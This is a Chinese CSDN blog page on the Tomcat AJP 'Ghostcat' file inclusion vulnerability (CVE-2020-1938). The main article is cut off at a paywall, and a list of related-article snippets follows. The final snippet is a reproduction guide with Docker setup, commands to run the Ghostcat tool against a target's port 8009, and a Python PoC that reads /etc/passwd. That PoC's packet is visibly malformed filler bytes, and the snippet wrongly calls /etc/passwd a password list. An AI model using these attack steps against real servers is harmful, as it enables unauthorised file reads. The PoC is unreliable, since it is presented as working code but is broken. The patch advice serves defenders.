Tomcat AJP 文件包含漏洞（CVE-2020-1938）

最新推荐文章于 2025-03-06 16:20:23 发布
最新推荐文章于 2025-03-06 16:20:23 发布
阅读量1.2w 收藏 6
点赞数 2
分类专栏： 中间件
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/csacs/article/details/104427197
版权
本文详细介绍了Tomcat AJP 文件包含漏洞（CVE-2020-1938），包括漏洞原理、影响版本、复现过程及修复方案。攻击者可利用此漏洞读取服务器webapp下的任意文件，甚至获取shell。建议受影响版本的用户采取注释AJP、升级Tomcat或设置AJP协议认证凭证等措施进行修复。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

Tomcat AJP 文件包含漏洞（CVE-2020-1938）

  • 本来带了一群兄弟想去砸场子的，可是看到了她穿着婚纱，特别特别漂亮。

文章目录

漏洞原理:

  • Tomcat 配置了两个Connecto，它们分别是 HTTP 和 AJP ：HTTP默认端口为8080，处理http请求，而AJP默认端口8009，用于处理 AJP 协议的请求，而AJP比http更加优化，多用于反向、集群等，漏洞由于Tomcat AJP协议存在缺陷而导致，攻击者利用该漏洞可通过构造特定参数，读取服务器webapp下的任意文件以及可以包含任意文件，如果有某上传点，上传图片马等等，即可以获取shell。

漏洞版本：

Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31

漏洞复现：

EXP:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
在这里插入图片描述

漏洞修复：

1、在servc

最低0.47元/天 解锁文章
13-3 tomcat AJP文件包含漏洞（CVE-2020-1938）
weixin_43263566的博客
12-02 1306
CVE-2020-1938 是一个影响 Tomcat 的 AJP文件包含漏洞。攻击者可以利用该漏洞通过 Tomcat AJP Connector 读取或包含 Tomcat 上所有 webapp 目录下的任意文件，例如配置文件或源码。如果目标应用有文件上传功能，攻击者还可以利用文件包含漏洞实现远程代码执行，造成严重的安全风险。这一漏洞的发现者为长亭科技安全研究员。由于 Tomcat AJP 协议设计上的缺陷，该漏洞存在于 Tomcat 中。影响范围ApacheTomcat 6Apache。
【漏洞复现】Apache Tomcat AJP文件包含漏洞(CVE-2020-1938)
晚风不及你
01-12 1060
Apache Tomcat 是一个免费的开源 Web 应用服务器，在中小型企业和个人开发用户中有着广泛的应用。
Tomcat9 AJP 任意文件读取和文件包含漏洞（CVE-2020-1938）
weixin_42786460的博客
09-25 4610
Tomcat9 AJP 任意文件读取和文件包含漏洞（CVE-2020-1938）
CVE-2020-1938 Tomcat 文件读取/包含漏洞复现,从零基础到精通，收藏这篇就够了！
Javachichi的博客
03-06 1718
同时，如果此应用在网站服务中具备上传功能，攻击者也可以先向服务端上传一个含有JSP代码的恶意文件(上传文件可以是任意类型，图片、纯文本文件等)，然后利用Gh0stcat进行文件包含，从而达到代码执行的危害。2月20日，国家信息安全漏洞共享平台（CNVD）发布安全公告，该漏洞综合评级为高危，漏洞编号为CNVD-2020-10487，CVE 编号 CVE-2020-1938。在通过浏览器访问Tomcat服务器的Web应用时，使用的就是这个，这里我改成了8000端口。大白也帮大家准备了详细的学习成长路线图。
Tomcat- AJP协议文件读取/命令执行漏洞（CVE-2020-1938 / CNVD-2020-10487）
好好睡觉
02-17 5247
tomcat漏洞、幽灵猫漏洞、apache反向代理tomcat
Apache Tomcat文件包含漏洞复现(详细教程)
weixin_60838266的博客
07-18 4189
Tomcat是Apache开源组织开发的用于处理HTTP服务的项目，两者都是免费的，都可以做为独立的Web服务器运行。Apache Tomcat服务器存在文件包含漏洞，攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件，如：webapp 配置文件或源代码等。Apache Tomcat服务器通过Connector连接器组件与客户程序建立连接，Connector表示接收请求并返回响应的端点。即Connector组件负责接收客户的请求，以及把Tomcat服务器的响应结果发送给客户。
Tomcat漏洞（文件包含漏洞）
qq_68186313的博客
08-06 350
由于Tomcat AJP协议设计上的缺陷，攻击者通过Tomcat AJP Connector可以读取或包含Tomcat.上所有Webapp目录下的任意文件，例如：可以读取webapp配置文件或源码文件。此外如果目标应用有文件上传的功能情况下，配合为文件包含漏洞利用GetShe‖。tomcat默认的conf/server.xml中配置了2个Connector，一个为8080的对外提供的HTTP协议端口，另外一个就是默认的8009AJP协议端口，两个端口默认均监听在外网ip。
Aapache Tomcat AJP 文件包含漏洞（CVE-2020-1938）
weixin_45653478的博客
05-10 1176
CVE-2020-1938 是 Apache Tomcat 中的一个严重安全漏洞，该漏洞涉及到 Tomcat 的 AJP（Apache JServ Protocol）连接器。由于 AJP 协议在处理请求时存在缺陷，攻击者可以利用此漏洞读取服务器上的任意文件，甚至可能进一步实现远程代码执行。
Tomcat 漏洞——AJP文件包含漏洞（CVE-2020-1938）
weixin_57379923的博客
08-08 434
CVE-2020-1938 漏洞是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞。Tomcat 服务器作一个免费的开放源代码的Web 应用服务器，其安装后会默认开启ajp连接器，方便与其他web服务器通过ajp协议进行交互。
CVE-2020-1938.py
01-23
CVE-2020-1938.py
Tomcat文件包含漏洞（CVE-2020-1938）
qq_58000413的博客
09-16 2652
Java 是目前 Web 开发中最主流的编程语言，而 Tomcat 是当前最流行的 Java 中间件服务器之一，从初版发布到现在已经有二十多年历史，在世界范围内广泛使用。由于 Tomcat AJP 协议设计上存在缺陷，攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件。漏洞造成的原因是由于ajp设计缺陷，我们可以通过修改Tomcat ajp协议的端口，也可直接考虑关闭ajp connectoy,来避免攻击者攻击。用的是python2。
【CVE】CVE-2020-1983：Tomcat 文件包含漏洞
边扯边淡
05-31 1175
起序：漏扫完看报告的时候发现的，复现学习一下。 一、靶场环境 使用的是 github 上的 vulhub 环境。Tomcat 版本为 9.0.30。 1、漏洞：任意文件包含 攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件，如：webapp 配置文件、源代码等。 2、影响版本 Apache Tomcat 9.x < 9.0.31 Apache Tomcat 8.x < 8.5.51 Apache Tomcat 7.x < 7.0.100 .
幽灵猫 Tomcat文件读取/任意文件包含漏洞（CVE-2020-1938 / CNVD-2020-10487）
m0_62466350的博客
05-11 4418
该漏洞是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞，由于 Tomcat AJP 协议设计上存在缺陷，攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件，例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下，配合文件包含的利用还可以达到远程代码执行的危害。
Apache Tomcat文件包含漏洞复现
baidu_38844729的博客
03-30 2661
前言 漏洞原理： Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)，该漏洞是由于Tomcat AJP协议存在缺陷而导致，攻击者利用该漏洞可通过构造特定参数，读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能，攻击者可进一步实现远程代码执行。 影响版本： Apache Tomcat 6 Apache Tomcat 7 < 7...
Tomcat任意写入文件漏洞（CVE-2017-12615）漏洞复现
m0_55854679的博客
07-31 872
Tomcat任意写入文件漏洞（CVE-2017-12615）漏洞复现
Aapache Tomcat AJP 文件包含漏洞-(CVE-2020-1938/CNVD-2020-10487)
tamchikit的博客
01-04 1065
Aapache Tomcat AJP 文件包含漏洞-(CVE-2020-1938/CNVD-2020-10487)
安鸾渗透实战平台（中间件） Apache Tomcat AJP 文件包含漏洞（CVE-2020-1938 ） (150分)
weixin_50985113的博客
02-08 884
安鸾渗透实战平台公网vps。
tomcat-ajp-cve-2020-1938 漏洞复现
最新发布
04-05
### Tomcat AJP CVE-2020-1938 漏洞复现方法与攻击原理 #### 背景介绍 Tomcat AJP 协议中的文件包含漏洞（CVE-2020-1938）允许攻击者通过构造恶意请求来读取服务器上的任意文件。此漏洞源于 AJP 协议处理不当，可能导致敏感数据泄露甚至远程代码执行。 --- #### 攻击原理 AJP 是一种二进制通信协议，用于在 Web 服务器（如 Apache HTTP Server）和应用服务器（如 Tomcat）之间传输数据。当启用 AJP 连接器时，如果未正确配置权限控制，则可能被滥用以访问受保护资源。具体来说，攻击者可以通过发送特殊格式的 AJP 请求到默认端口 `8009` 来触发漏洞[^2]。 --- #### 环境搭建 为了重现该漏洞，可以使用 Docker 镜像快速部署易受影响版本的 Tomcat 实例： ```bash docker pull duonghuuphuc/tomcat-8.5.32 docker run -d --name vulnerable-tomcat -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32 ``` 上述命令会启动一个带有已知漏洞的 Tomcat 容器实例，并映射必要的端口以便测试[^3]。 --- #### 利用工具准备 目前有多个开源项目可用于检测和利用此漏洞，以下是常用的两种方式： 1. **Ghostcat 工具** Ghostcat 提供了一个简单的界面来进行漏洞扫描和验证。可以从其官方仓库下载并运行： ```bash git clone https://github.com/00theway/Ghostcat-CNVD-2020-10487.git cd Ghostcat-CNVD-2020-10487 python ghostcat.py http://<target-ip>:8009/ ``` 如果目标主机存在漏洞，工具将返回指定路径的内容[^4]。 2. **自定义 Python 脚本** 下面是一个基于 CNVD 的 PoC 脚本示例，可以直接修改后使用： ```python import socket def send_ajp_request(ip, port=8009, filename="/etc/passwd"): packet = b'\x12\x34\x00\x02\xfd\x00\x00\x00\x00\x00\xbb\x02\x4e' \ b'\x00\x00\x00\x01\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff' \ b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff' \ b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff' \ b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff' \ f'{filename}'.encode() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((ip, port)) sock.send(packet) response = sock.recv(1024).decode('utf-8', errors='ignore') if 'root:' in response: print("[+] Vulnerable! File content:") print(response.strip()) else: print("[-] Not vulnerable or file not found.") except Exception as e: print(f"[!] Error occurred: {str(e)}") finally: sock.close() if __name__ == "__main__": target_ip = input("Enter the IP address of the target server: ") send_ajp_request(target_ip) ``` 此脚本尝试连接至目标机器的 AJP 端口，并请求 `/etc/passwd` 文件内容作为演示[^1]。 --- #### 结果分析 一旦成功获取预期文件内容（例如 Linux 系统用户的密码列表），即可确认目标系统受到 CVE-2020-1938 影响。需要注意的是，在实际渗透测试过程中应严格遵循法律规范，仅针对授权范围内的资产操作。 --- #### 补救措施 为了避免此类风险，建议采取以下防护手段之一或组合实施： - 关闭不必要的 AJP 功能； - 使用防火墙限制对 AJP 端口的外部访问； - 更新至最新稳定版 Tomcat 并重新评估安全性设置。 ---
评论 4
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值